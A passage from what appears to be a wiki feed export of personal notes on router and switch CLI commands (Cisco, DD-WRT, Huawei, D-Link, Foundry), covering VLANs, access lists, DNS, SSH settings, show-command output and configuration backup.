Ve 100          1.2.1.33   YES  NVRAM     up                     up      &lt;br /&gt;
Ve 101          1.2.1.129  YES  NVRAM     up                     up      &lt;br /&gt;
Ve 102          1.2.1.193  YES  NVRAM     up                     up      &lt;br /&gt;
Ve 103          1.2.1.225  YES  NVRAM     up                     up      &lt;br /&gt;
Ve 104          1.2.1.241  YES  NVRAM     up                     up      &lt;br /&gt;
Ve 105          1.2.1.249  YES  NVRAM     up                     up      &lt;br /&gt;
Ve 106          1.2.1.17   YES  NVRAM     up                     up      &lt;br /&gt;
Ve 111          1.2.1.65   YES  NVRAM     up                     up      &lt;br /&gt;
Ve 112          1.2.1.81   YES  NVRAM     up                     up      &lt;br /&gt;
Ve 113          1.2.1.97   YES  NVRAM     up                     up      &lt;br /&gt;
Ve 200          1.2.3.4  YES  NVRAM     up                     up     &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== add VLAN ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
vlan 123 name v-users by port&lt;br /&gt;
tagged ethe 2 to 4&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== VLAN detail ===&lt;br /&gt;
* show vlans&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
Total PORT-VLAN entries: 19&lt;br /&gt;
Maximum PORT-VLAN entries: 4095&lt;br /&gt;
PORT-VLAN 1, Name DEFAULT-VLAN, Priority level0, Spanning tree Off&lt;br /&gt;
 Untagged Ports:   2   3   4  19  20 &lt;br /&gt;
   Tagged Ports: None&lt;br /&gt;
   Uplink Ports: None&lt;br /&gt;
 DualMode Ports: None&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== virtual ethernet configuration ===&lt;br /&gt;
* is the ip configuration of the vlan subnet&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
&lt;br /&gt;
interface ve 300&lt;br /&gt;
 port-name v-secondary&lt;br /&gt;
 ip access-group 300 in&lt;br /&gt;
 ip address 1.2.1.1 255.255.255.240&lt;br /&gt;
!&lt;br /&gt;
interface ve 100&lt;br /&gt;
 port-name v-primary&lt;br /&gt;
 ip address 1.2.3.1 255.255.252.0&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== access list per IP ===&lt;br /&gt;
* access list used by virtual ethernet&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
&lt;br /&gt;
access-list 10 permit 1.2.3.0 0.0.3.255&lt;br /&gt;
access-list 10 permit 1.2.1.0 0.0.0.255&lt;br /&gt;
access-list 10 deny any log&lt;br /&gt;
&lt;br /&gt;
access-list 300 deny ip any 1.2.3.0 0.0.3.255 log&lt;br /&gt;
access-list 300 deny ip any 1.2.1.0 0.0.0.255 log&lt;br /&gt;
access-list 300 permit ip any any&lt;br /&gt;
&lt;br /&gt;
access-list 103 permit ip any 1.2.5.0 0.0.0.255&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== set DNS === &lt;br /&gt;
* add 3 DNS servers:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=python &amp;gt;&lt;br /&gt;
ip dns server-address 1.2.3.4 10.11.12.13 101.102.103.104&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* del 1 DNS server:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=python &amp;gt;&lt;br /&gt;
no ip dns server-address 10.11.12.13&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== SSH management config ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
 ip ssh  key-authentication no&lt;br /&gt;
 ip ssh  source-interface ve 200&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== add port to VLAN ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
&lt;br /&gt;
* add tagged port:&lt;br /&gt;
 # vlan 4&lt;br /&gt;
 (vlan-4)# tag ethe 11&lt;br /&gt;
 # end&lt;br /&gt;
* add untagged port&lt;br /&gt;
 (vlan-4)# untag ethe 11&lt;br /&gt;
 # end&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== remove port from VLAN ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
* remove un-tagged port:&lt;br /&gt;
 #vlan 4&lt;br /&gt;
 (vlan-4)# no untag ethe 11&lt;br /&gt;
 # end&lt;br /&gt;
* tagged port&lt;br /&gt;
 (vlan-4)# no tag ethe 11&lt;br /&gt;
 # end&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== change temperature warning level ===&lt;br /&gt;
&lt;br /&gt;
* temperature at when the device will give warning&lt;br /&gt;
 # temperature warning 47&lt;br /&gt;
* temperature at when the device will shut down&lt;br /&gt;
 # temperature shutdown 57&lt;br /&gt;
* change the polling time interval&lt;br /&gt;
 # chassis poll-time 200&lt;br /&gt;
&lt;br /&gt;
=== change logging size ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
#config te&lt;br /&gt;
BR-SSH@coresw1(config)#logging buffered 300&lt;br /&gt;
Reload required.  Please write memory and then reload or power cycle.&lt;br /&gt;
BR-SSH@coresw1(config)#write memory&lt;br /&gt;
Write startup-config done.&lt;br /&gt;
BR-SSH@coresw1(config)#end&lt;br /&gt;
BR-SSH@coresw1#reload&lt;br /&gt;
Are you sure? (enter 'y' or 'n'): y&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;/div&gt;</summary>
		<author><name>Porcelinux</name></author>
	</entry>
	<entry>
		<id>https://wiki.alessandro.delgallo.net//index.php?title=Router-language&amp;diff=6403</id>
		<title>Router-language</title>
		<link rel="alternate" type="text/html" href="https://wiki.alessandro.delgallo.net//index.php?title=Router-language&amp;diff=6403"/>
		<updated>2022-06-21T11:09:52Z</updated>

		<summary type="html">&lt;p&gt;Porcelinux: /* del vlan */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Cisco ==&lt;br /&gt;
&lt;br /&gt;
* http://www.cisco.com/en/US/docs/internetworking/troubleshooting/guide/tr1904.html&lt;br /&gt;
&lt;br /&gt;
*; Save config&lt;br /&gt;
 # write memory&lt;br /&gt;
&lt;br /&gt;
=== VLAN ===&lt;br /&gt;
*; New VLAN&lt;br /&gt;
 Switch# configure terminal&lt;br /&gt;
 Switch(config)# vlan 20&lt;br /&gt;
 Switch(config-vlan)# name test20&lt;br /&gt;
 Switch(config-vlan)# end &lt;br /&gt;
&lt;br /&gt;
 Switch(config)# no vlan vlan-id&lt;br /&gt;
*: Port-VLAN&lt;br /&gt;
 Switch# configure terminal&lt;br /&gt;
 Switch(config)# interface gigabitethernet 1/0/1&lt;br /&gt;
 Switch(config-if)# switchport mode access&lt;br /&gt;
 Switch(config-if)# switchport access vlan 2&lt;br /&gt;
 Switch(config-if)# end &lt;br /&gt;
&lt;br /&gt;
*; IEEE 802.1Q trunking &lt;br /&gt;
 Switch# configure terminal&lt;br /&gt;
 Switch(config)# interface gigabitethernet 1/0/1&lt;br /&gt;
 Switch(config-if)# switchport mode dynamic desirable&lt;br /&gt;
 Switch(config-if)# end &lt;br /&gt;
&lt;br /&gt;
*; remove VLAN 2 from the allowed VLAN list on a port:&lt;br /&gt;
 Switch(config)# interface gigabitethernet 1/0/1&lt;br /&gt;
 Switch(config-if)# switchport trunk allowed vlan remove 2&lt;br /&gt;
 Switch(config-if)# end&lt;br /&gt;
&lt;br /&gt;
== DD-WRT ==&lt;br /&gt;
&lt;br /&gt;
* show all variables named/containing THISSSS&lt;br /&gt;
 nvram show|grep THISSSS&lt;br /&gt;
&lt;br /&gt;
* unset all variables named/containing THISSSS&lt;br /&gt;
 for a in $(nvram show|grep THISSSS|grep -v size);do nvram unset $(echo $a|cut -d&amp;quot;=&amp;quot; -f1);done &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 vlan4ports=0 5*&lt;br /&gt;
 vlan4_ipaddr=0.0.0.0&lt;br /&gt;
 vlan4hwname=et0&lt;br /&gt;
 port2vlans=4&lt;br /&gt;
&lt;br /&gt;
== Huawei ==&lt;br /&gt;
;(AR502CG-L)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
More details in [[Huawei AR500]]&lt;br /&gt;
*https://support.huawei.com/enterprise/en/doc/EDOC1000097293/10a4569b/cellular-interface-configuration-commands&lt;br /&gt;
*https://support.huawei.com/enterprise/en/doc/EDOC1000177810/29a820da/nat-configuration-commands&lt;br /&gt;
&lt;br /&gt;
* Access CLI&lt;br /&gt;
** from the web interface, create a telnet enabled user and enable telnet service.&lt;br /&gt;
&lt;br /&gt;
 telnet 192.168.x.x &lt;br /&gt;
 ...&lt;br /&gt;
 system-view&lt;br /&gt;
&lt;br /&gt;
=== Cellular WAN connection information ===&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;Huawei&amp;gt;display cellular 0/0/0 all&lt;br /&gt;
Modem State:&lt;br /&gt;
Hardware Information.&lt;br /&gt;
=====================&lt;br /&gt;
Model = ME909s-120&lt;br /&gt;
Modem Type = LTE module&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Display APN profiles&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;Huawei&amp;gt;display apn-profile configuration&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Display IP interface WAN&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
display interface cellular 0/0/0&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 display ip interface brief&lt;br /&gt;
&lt;br /&gt;
 display ip routing-table&lt;br /&gt;
&lt;br /&gt;
* reset counters&lt;br /&gt;
 reset counters interface cellular 0/0/0&lt;br /&gt;
&lt;br /&gt;
=== del vlan ===&lt;br /&gt;
 [RouterBackup]undo interface Vlanif 6  &lt;br /&gt;
 [RouterBackup]undo Vlan 6&lt;br /&gt;
&lt;br /&gt;
=== change Interface MTU ===&lt;br /&gt;
 &amp;lt;Huawei&amp;gt; system-view&lt;br /&gt;
 [Huawei] interface cellular 0/0/0 &lt;br /&gt;
 [Huawei-Cellular0/0/0] mtu 1200&lt;br /&gt;
 [Huawei-Cellular0/0/0] restart&lt;br /&gt;
&lt;br /&gt;
=== Save running config ===&lt;br /&gt;
 [Router] save&lt;br /&gt;
&lt;br /&gt;
=== SMS ===&lt;br /&gt;
&lt;br /&gt;
* List SMS&lt;br /&gt;
 display sms interface cellular 0/0/0 brief&lt;br /&gt;
&lt;br /&gt;
* SMS stats&lt;br /&gt;
 display sms interface cellular 0/0/0 statistics&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== NAT tutorial ===&lt;br /&gt;
https://support.huawei.com/enterprise/en/doc/EDOC1000177799/c5cb4df6/example-for-configuring-an-lte-cellular-interface-as-the-primary-interface-to-connect-to-the-internet&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== DLink ==&lt;br /&gt;
&lt;br /&gt;
xStack DGS-3200 Series Layer 2 Gigabit Managed Switch CLI Manual&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
VLAN Command List&lt;br /&gt;
create vlan &amp;lt;vlan_name 32 &amp;gt; tag &amp;lt;vlanid 2-4094&amp;gt; { type [1q_vlan advertisement | private_vlan] }&lt;br /&gt;
create vlan vlanid &amp;lt;vidlist&amp;gt; { type [1q_vlan | private_vlan] { advertisement } }&lt;br /&gt;
delete vlan &amp;lt;vlan_name&amp;gt;&lt;br /&gt;
delete vlan vlanid &amp;lt;vlanid_list&amp;gt;&lt;br /&gt;
config vlan &amp;lt; vlan_name &amp;gt; { [ add [ tagged | untagged | forbidden ] | delete ] &amp;lt;portlist&amp;gt; |&lt;br /&gt;
advertisement [ enable | disable ] }&lt;br /&gt;
config vlan vlanid &amp;lt;vidlist&amp;gt; { [ add [ tagged | untagged | forbidden ] | delete ] &amp;lt;portlist&amp;gt; |&lt;br /&gt;
advertisement [ enable | disable ]| name &amp;lt;vlan_name&amp;gt;}&lt;br /&gt;
config vlan &amp;lt;vlan_name&lt;br /&gt;
&amp;gt; delete &amp;lt;portlist&amp;gt;&lt;br /&gt;
config vlan vlanid &amp;lt;vlanid_&lt;br /&gt;
list&amp;gt; delete &amp;lt;portlist&amp;gt;&lt;br /&gt;
config gvrp [&amp;lt;portlist&amp;gt; | all] {state [enable | disable] | ingress_checking [enable | disable]&lt;br /&gt;
|acceptable_frame[tagged_only | admit_all] pvid&amp;lt;vlanid 1-4094&amp;gt; }&lt;br /&gt;
enable gvrp&lt;br /&gt;
disable gvrp&lt;br /&gt;
show vlan { &amp;lt;vlan_name 32&amp;gt; | vlanid&lt;br /&gt;
&amp;lt;vlanid_list&amp;gt; | ports &amp;lt;portlist&amp;gt;}&lt;br /&gt;
show gvrp {&amp;lt;portlist&amp;gt;}&lt;br /&gt;
enable pvid auto_assign&lt;br /&gt;
disable pvid auto_assign&lt;br /&gt;
show pvid auto_assign&lt;br /&gt;
config private_vlan [&amp;lt;vlan_name 32&amp;gt; | vid &amp;lt;vlanid 1-4094&amp;gt;] [add [isolated | community] | remove]&lt;br /&gt;
[&amp;lt;vlan_name 32&amp;gt; | vlanid &amp;lt;vidlist&amp;gt;]&lt;br /&gt;
show private_vlan { [vlan_name 32&amp;gt; | vlanid &amp;lt;vidlist&amp;gt;] } &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Foundry ==&lt;br /&gt;
&lt;br /&gt;
=== show ===&lt;br /&gt;
  802-1w                 Rapid Spanning tree IEEE 802.1w D10 status&lt;br /&gt;
  aaa                    Show TACACS+ and RADIUS server statistics&lt;br /&gt;
  access-list            Show access list hit statistics&lt;br /&gt;
  acl-on-arp             Show ARP ACL filtering&lt;br /&gt;
  arp                    Arp table&lt;br /&gt;
  auth-mac-addresses     MAC Authentication status&lt;br /&gt;
  batch                  Batch commands&lt;br /&gt;
  cable-diagnostics      Show Cable Diagnostics&lt;br /&gt;
  chassis                Power supply/fan/temperature&lt;br /&gt;
  clock                  System time and date&lt;br /&gt;
  configuration          Configuration data in startup config file&lt;br /&gt;
  debug                  Debug information&lt;br /&gt;
  default                System default settings&lt;br /&gt;
  dot1x                  dot1x  information&lt;br /&gt;
  errdisable             Errdisable status&lt;br /&gt;
  fdp                    CDP/FDP information&lt;br /&gt;
  flash                  Flash memory contents&lt;br /&gt;
  interfaces             Port status&lt;br /&gt;
  ip                     IP address setting&lt;br /&gt;
  ipv6                   IP setting&lt;br /&gt;
  link-aggregate         802.3ad Link Aggregation Information&lt;br /&gt;
  link-error-disable     Link Debouncing Control&lt;br /&gt;
  link-keepalive         Link Layer Keepalive&lt;br /&gt;
  logging                System log                               &lt;br /&gt;
  mac-address            MAC address table&lt;br /&gt;
  media                  Gig port SX/LX/LHA/LHB&lt;br /&gt;
  memory                 System memory usage&lt;br /&gt;
  metro-ring             metro ring protocol information&lt;br /&gt;
  mirror                 Mirror ports&lt;br /&gt;
  monitor                Monitor ports&lt;br /&gt;
  mstp                   show MSTP (IEEE 802.1s) information&lt;br /&gt;
  port                   Show port security&lt;br /&gt;
  priority-mapping       802.1Q tagged priority setting&lt;br /&gt;
  processes              Active process statistics&lt;br /&gt;
  protected-link-group   Show Protected Link Group Details&lt;br /&gt;
  ptrace                 Global ptrace information&lt;br /&gt;
  qos-profiles           QOS configuration&lt;br /&gt;
  qos-tos                IPv4 ToS based QoS&lt;br /&gt;
  radius                 show radius server debug info&lt;br /&gt;
  rate-limit             Rate-limiting table and actions&lt;br /&gt;
  redundancy             Display management redundancy details&lt;br /&gt;
  relative-utilization   Relative utilization list&lt;br /&gt;
  reload                 Scheduled system reset&lt;br /&gt;
  rmon                   Rmon status&lt;br /&gt;
  running-config         Current running-config&lt;br /&gt;
  sflow                  sflow information&lt;br /&gt;
  snmp                   SNMP statistics                          &lt;br /&gt;
  sntp                   Show SNTP&lt;br /&gt;
  span                   Spanning tree status&lt;br /&gt;
  statistics             Packet statistics&lt;br /&gt;
  stp-bpdu-guard         Show stp bpdu guard status&lt;br /&gt;
  stp-group              Spanning Tree Group Membership&lt;br /&gt;
  stp-protect-ports      Show stp-protect enabled ports and their BPDU drop&lt;br /&gt;
                         counters&lt;br /&gt;
  tech-support           System snap shot for tech support&lt;br /&gt;
  telnet                 Telnet connection&lt;br /&gt;
  topology-group         Topology Group Membership&lt;br /&gt;
  traffic-policy         Show traffic policy definition&lt;br /&gt;
  transmit-counter       Transmit Queue Counters&lt;br /&gt;
  trunk                  Show trunk status&lt;br /&gt;
  users                  User accounts&lt;br /&gt;
  version                System status&lt;br /&gt;
  vlan                   VLAN status&lt;br /&gt;
  vlan-group             VLAN Group Membership&lt;br /&gt;
  voice-vlan             Show voice vlan&lt;br /&gt;
  vsrp                   Show VSRP commands&lt;br /&gt;
  web-connection         Current web connections&lt;br /&gt;
  who                    User login&lt;br /&gt;
  |                      Output modifiers&lt;br /&gt;
  &amp;lt;cr&amp;gt;      &lt;br /&gt;
&lt;br /&gt;
=== enable ===&lt;br /&gt;
* when logged in, the &amp;quot;enable&amp;quot; command give you the administration rights&lt;br /&gt;
* in this status we can monitor e check configuration.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
$ enable&lt;br /&gt;
password...&lt;br /&gt;
# _&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* entering in &amp;quot;edit configuration&amp;quot; mode, you can edit the configuration, '''live!''' be very careful&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
config [te]&lt;br /&gt;
password...&lt;br /&gt;
(config)#&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* after making changes, you can check them with this command (because &amp;quot;show config&amp;quot; will give you the configuration saved in memory, not the running one that you just modified.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
(config)# show running-config&lt;br /&gt;
[...]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* after all your checks, this is the command to save the changes permanently.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
(config)# write memory&lt;br /&gt;
# &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* an option to backup the configuration is to copy it by TFTP to a server.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
#copy running-config tftp 1.2.3.123 router-config-20122112.txt&lt;br /&gt;
 #Upload running-config to TFTP server done.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== show cpu ===&lt;br /&gt;
show cpu&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
31 percent busy, from 3248 sec ago 1	sec avg: &lt;br /&gt;
31 percent busy 5	sec avg: &lt;br /&gt;
31 percent busy 60 sec avg: &lt;br /&gt;
31 percent busy&lt;br /&gt;
&lt;br /&gt;
300 sec avg: 31 percent busy   &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* cpu/process utilizaiton&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
# show process cpu&lt;br /&gt;
Process Name&lt;br /&gt;
ACL&lt;br /&gt;
ARP BGP DOT1X GVRP ICMP IP L2VLAN OSPF RIP STP VRRP&lt;br /&gt;
5Sec(%)	1Min(%)&lt;br /&gt;
0.00	0.00&lt;br /&gt;
0.01	0.01 0.00	0.00 0.00	0.00 0.00	0.00 0.00	0.00 0.00	0.00 0.01	0.00 0.00	0.00 0.00	0.00 0.00	0.00 0.00	0.00&lt;br /&gt;
5Min(%)	15Min(%)&lt;br /&gt;
Runtime(ms)&lt;br /&gt;
0.00	0.00	0&lt;br /&gt;
0.01	0.01	714 0.00	0.00	0 0.00	0.00	0 0.00	0.00	0 0.00	0.00	161 0.00	0.00	229 0.00	0.01	673 0.00	0.00	0 0.00	0.00	9 0.00	0.00	7 0.00	0.00	0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== port status short ===&lt;br /&gt;
* show interface brief&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
Port  Link    State     Dupl Speed Trunk Tag Priori MAC            Name        &lt;br /&gt;
1     Up      Forward   Full 1G    None  No  level0 0012.f286....              &lt;br /&gt;
2     Disable None      None None  None  No  level0 0012.f286....                &lt;br /&gt;
&lt;br /&gt;
Port  Link    State     Dupl Speed Trunk Tag Priori MAC            Name        &lt;br /&gt;
ve10  Up      N/A       N/A  N/A   None  N/A N/A    0012.f286....     &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
=== ip traffic ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
#show ip traffic &lt;br /&gt;
IP Statistics&lt;br /&gt;
  249333533 received, 92410 sent, 248630753 forwarded&lt;br /&gt;
  0 filtered, 0 fragmented, 0 reassembled, 4480 bad header&lt;br /&gt;
  495 no route, 0 unknown proto, 0 no buffer, 43582 other errors&lt;br /&gt;
&lt;br /&gt;
ARP Statistics&lt;br /&gt;
  151530 total recv, 149155 req recv, 214351 req sent, 67830 rep sent&lt;br /&gt;
  0 pending drop, 0 invalid source, 0 invalid dest&lt;br /&gt;
&lt;br /&gt;
ICMP Statistics&lt;br /&gt;
Received:&lt;br /&gt;
  13364 total, 25 errors, 103 unreachable, 25 time exceed&lt;br /&gt;
  0 parameter, 0 source quench, 0 redirect, 13202 echo, &lt;br /&gt;
  9 echo reply, 0 timestamp, 0 timestamp reply, 0 addr mask&lt;br /&gt;
  0 addr mask reply, 0 irdp advertisement, 0 irdp solicitation&lt;br /&gt;
Sent:&lt;br /&gt;
  55536 total, 0 errors, 38105 unreachable, 4205 time exceed&lt;br /&gt;
  24 parameter, 0 source quench, 0 redirect, 0 echo, &lt;br /&gt;
  13202 echo reply, 0 timestamp, 0 timestamp reply, 0 addr mask&lt;br /&gt;
  0 addr mask reply, 0 irdp advertisement, 0 irdp solicitation&lt;br /&gt;
&lt;br /&gt;
UDP Statistics&lt;br /&gt;
  173951 received, 15129 sent, 119850 no port, 0 input errors&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== MAC address table ===&lt;br /&gt;
 show mac-address&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
Total active entries from all ports = 69&lt;br /&gt;
MAC-Address     Port         Type       Index      VLAN &lt;br /&gt;
0800.270c.ce47  5            Dynamic    30         113  &lt;br /&gt;
0011.7800.9a44  8            Dynamic    14232      200  &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
=== ethernet data flow statistics ===&lt;br /&gt;
* show rmon statistics&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
Ethernet statistics 1 is active, owned by monitor&lt;br /&gt;
 Interface 1 (ifIndex 1) counters&lt;br /&gt;
           Octets          62219423556&lt;br /&gt;
      Drop events                    0             Packets             74215428&lt;br /&gt;
   Broadcast pkts                  613      Multicast pkts                83808&lt;br /&gt;
 CRC align errors                    0      Undersize pkts                    0&lt;br /&gt;
    Oversize pkts                    0           Fragments                    0&lt;br /&gt;
          Jabbers                    0          Collisions                    0&lt;br /&gt;
&lt;br /&gt;
 Packet size counters&lt;br /&gt;
               64              8199939           65 to 127             21283872&lt;br /&gt;
       128 to 255              2667477          256 to 511              1406813&lt;br /&gt;
      512 to 1023              2001555        1024 to 1518             38655772&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== physical media installed in port ===&lt;br /&gt;
* show media&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
1:M-SX 2:   3:   4:   5: C 6: C 7: C 8: C 9: C 10: C 11: C 12: C 13: C 14: C 15: C 16: C 17: C 18: C 19: C 20: C 21: C 22: C 23: C 24: C &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* C1550 – CWDM transceiver with 1550 nm wavelength &lt;br /&gt;
* EFM-U – 1000Base-BX10-U fiber (uplink) transceiver &lt;br /&gt;
* EFM-D – 1000Base-BX10-D fiber (downlink) transceiver&lt;br /&gt;
* M-FX – 100BaseFX fiber mini-GBIC &lt;br /&gt;
* M-FXB1 or M-FXB2 – 100BaseFX fiber mini-GBIC  &lt;br /&gt;
* M-LX – 1000BaseLX fiber mini-GBIC &lt;br /&gt;
* M-SX – 1000BaseSX fiber mini-GBIC &lt;br /&gt;
* M-TX – 1000BaseTX copper mini-GBIC &lt;br /&gt;
* M-XR – 1000BaseSX 2 fiber mini-GBIC &lt;br /&gt;
* FXB1 or FXB2 – 1000BaseBX fiber mini-GBIC &lt;br /&gt;
* M-LHA 1000BaseLHA fiber mini-GBIC&lt;br /&gt;
&lt;br /&gt;
=== interface speed ===&lt;br /&gt;
&lt;br /&gt;
 Router(config)# interface e 8 &lt;br /&gt;
 Router(config-if-e1000-8)# speed-duplex 10-full&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== ethernet details ===&lt;br /&gt;
* show interface ethernet 1&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
GigabitEthernet1 is up, line protocol is up &lt;br /&gt;
  Hardware is GigabitEthernet, address is 0012.f286.7e40 (bia 0012.f286.7e40)&lt;br /&gt;
  Configured speed auto, actual 1Gbit, configured duplex fdx, actual fdx&lt;br /&gt;
  Configured mdi mode AUTO, actual MDI&lt;br /&gt;
  Member of L2 VLAN ID 10, port is untagged, port state is FORWARDING&lt;br /&gt;
  BPDU guard is Disabled, ROOT protect is Disabled&lt;br /&gt;
  Link Error Dampening is Disabled&lt;br /&gt;
  STP configured to ON, priority is level0&lt;br /&gt;
  Flow Control is config enabled, oper enabled, negotiation disabled&lt;br /&gt;
  mirror disabled, monitor disabled&lt;br /&gt;
  Not member of any active trunks&lt;br /&gt;
  Not member of any configured trunks&lt;br /&gt;
  No port name&lt;br /&gt;
  IPG MII 96 bits-time, IPG GMII 96 bits-time&lt;br /&gt;
  IP MTU 1500 bytes, encapsulation ethernet&lt;br /&gt;
  300 second input rate: 262016 bits/sec, 119 packets/sec, 0.02% utilization&lt;br /&gt;
  300 second output rate: 1558744 bits/sec, 178 packets/sec, 0.15% utilization&lt;br /&gt;
  35819040 packets input, 31760156880 bytes, 0 no buffer&lt;br /&gt;
  Received 559 broadcasts, 83280 multicasts, 35735201 unicasts&lt;br /&gt;
  0 input errors, 0 CRC, 0 frame, 0 ignored&lt;br /&gt;
  0 runts, 0 giants&lt;br /&gt;
  38293277 packets output, 30371035971 bytes, 0 underruns&lt;br /&gt;
  Transmitted 53 broadcasts, 0 multicasts, 38293224 unicasts&lt;br /&gt;
  0 output errors, 0 collisions&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== ip routes ===&lt;br /&gt;
 show ip&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
Global Settings&lt;br /&gt;
  ttl: 64, arp-age: 10, bootp-relay-max-hops: 4&lt;br /&gt;
  router-id : 0.0.0.0&lt;br /&gt;
  enabled : UDP-Broadcast-Forwarding  Source-Route  Load-Sharing  RARP  &lt;br /&gt;
  disabled: Route-Only  Directed-Broadcast-Forwarding  IRDP  Proxy-ARP  RIP  DVMRP  VRRP  VRRP-Extended  &lt;br /&gt;
Static Routes&lt;br /&gt;
  Index   IP Address        Subnet Mask       Next Hop Router   Metric Distance&lt;br /&gt;
  1       0.0.0.0           0.0.0.0           145.145.24.140    1      1 0&lt;br /&gt;
  2       192.168.251.0     255.255.255.0     192.168.252.1     1      1 0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== ip interface networks === &lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
